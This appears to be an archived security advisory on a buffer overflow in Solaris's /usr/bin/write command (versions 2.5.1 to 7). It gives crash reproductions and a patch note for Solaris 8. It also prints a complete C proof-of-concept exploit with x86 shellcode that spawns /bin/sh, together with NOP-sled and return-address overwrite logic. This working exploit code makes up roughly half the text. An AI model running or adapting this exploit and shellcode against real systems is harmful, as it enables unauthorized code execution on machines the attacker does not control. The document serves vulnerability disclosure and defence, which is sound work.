COMMAND

    write

SYSTEMS AFFECTED

    Solaris 2.5.1, 2.6, 7

PROBLEM

    'bugscan'   found   following.     When   playing   around    with
    "/usr/bin/write"  on   Solaris  2.6   x86,  he   found   something
    interesting.  It's  buffer overflow bug  in "/usr/bin/write".   To
    ensure, view this command:

        ( Solaris 2.6 x86 )
        [loveyou@/user/loveyou/buf]{30}% write loveyou `perl -e 'print "x" x 97'`
        [loveyou@/user/loveyou/buf]write loveyou `perl -e 'print "x" x 97'`
        xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
        xxxxxxxxxxxxxxxxx permission denied
        [loveyou@/user/loveyou/buf]write loveyou `perl -e 'print "x" x 98'`
        Segmentation fault

        ( Solaris 2.5.1(2.5) sparc )
        [love]/home/love> write loveyou `perl -e 'print "x" x 79'`
        xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
        permission denied
        [love]/home/love> write loveyou `perl -e 'print "x" x 80'`
        Segmentation Fault

    This also segfaults  under Solaris 2.6  and 7 on  SPARC and Intel.
    However, even is overflowable  into a shell with  tty permissions,
    nothing useful can come out of it.

        crw--w----   1 dm       tty       24,  0 Mar  9 14:39 pts@0:0

    Those are the  permissions on the  terminal.  The  most is someone
    writing to your screen when you have messages turned on.

    Pablo Sor has written an exploit for the /usr/bin/write command.

    #include <stdio.h>
    #include <unistd.h>
    /*

     /usr/bin/write overflow proof of conecpt.

     Tested on Solaris 7 x86

     Pablo Sor, Buenos Aires, Argentina. 01/2000
     psor@afip.gov.ar

     usage: write-exp [shell_offset] [ret_addr_offset]

     default offset should work.

    */
    long get_esp() { __asm__("movl %esp,%eax"); }

    char shell[] = "\xeb\x45\x9a\xff\xff\xff\xff\x07\xff"
                   "\xc3\x5e\x31\xc0\x89\x46\xb7\x88\x46"
                   "\xbc\x88\x46\x07\x89\x46\x0c\x31\xc0"
                   "\xb0\x2f\xe8\xe0\xff\xff\xff\x52\x52"
                   "\x31\xc0\xb0\xcb\xe8\xd5\xff\xff\xff"
                   "\x83\xc4\x08\x31\xc0\x50\x8d\x5e\x08"
                   "\x53\x8d\x1e\x89\x5e\x08\x53\xb0\x3b"
                   "\xe8\xbe\xff\xff\xff\x83\xc4\x0c\xe8"
                   "\xbe\xff\xff\xff\x2f\x62\x69\x6e\x2f"
                   "\x73\x68\xff\xff\xff\xff\xff\xff\xff"
                   "\xff\xff";

                   /* shellcode by Cheez Whiz */

    void main(int argc,char **argv)
    {
    FILE *fp;
    long magic,magicret;
    char buf[100],*envi;
    int i;

    envi = (char *) malloc(1000*sizeof(char));
    memset(envi,0x90,1000);
    memcpy(envi,"SOR=",4);
    memcpy(envi+980-strlen(shell),shell,strlen(shell));
    envi[1000]=0;
    putenv(envi);

    if (argc!=3)
    {
     magicret = get_esp()+116;
     magic = get_esp()-1668;
    }
    else
    {
     magicret = get_esp()+atoi(argv[1]);
     magic = get_esp()+atoi(argv[2]);
    }

    memset(buf,0x41,100);
    buf[99]=0;
    memcpy(buf+91,&magic,4);
    for(i=0;i<22;++i) memcpy(buf+(i*4),&magicret,4);
    execl("/usr/bin/write","write","root",buf,(char *)0);
    }

SOLUTION

    It seems that  this problem has  been fixed on  Solaris 8 i86  and
    Sparc.   Some dirty  tests proved  that Sun  implemented a  length
    check for the second argument:

       kr@gorkie:kr> write root `perl -e 'print "s"x2000'`
       Terminal name too long.

    If paranoid, mesg n.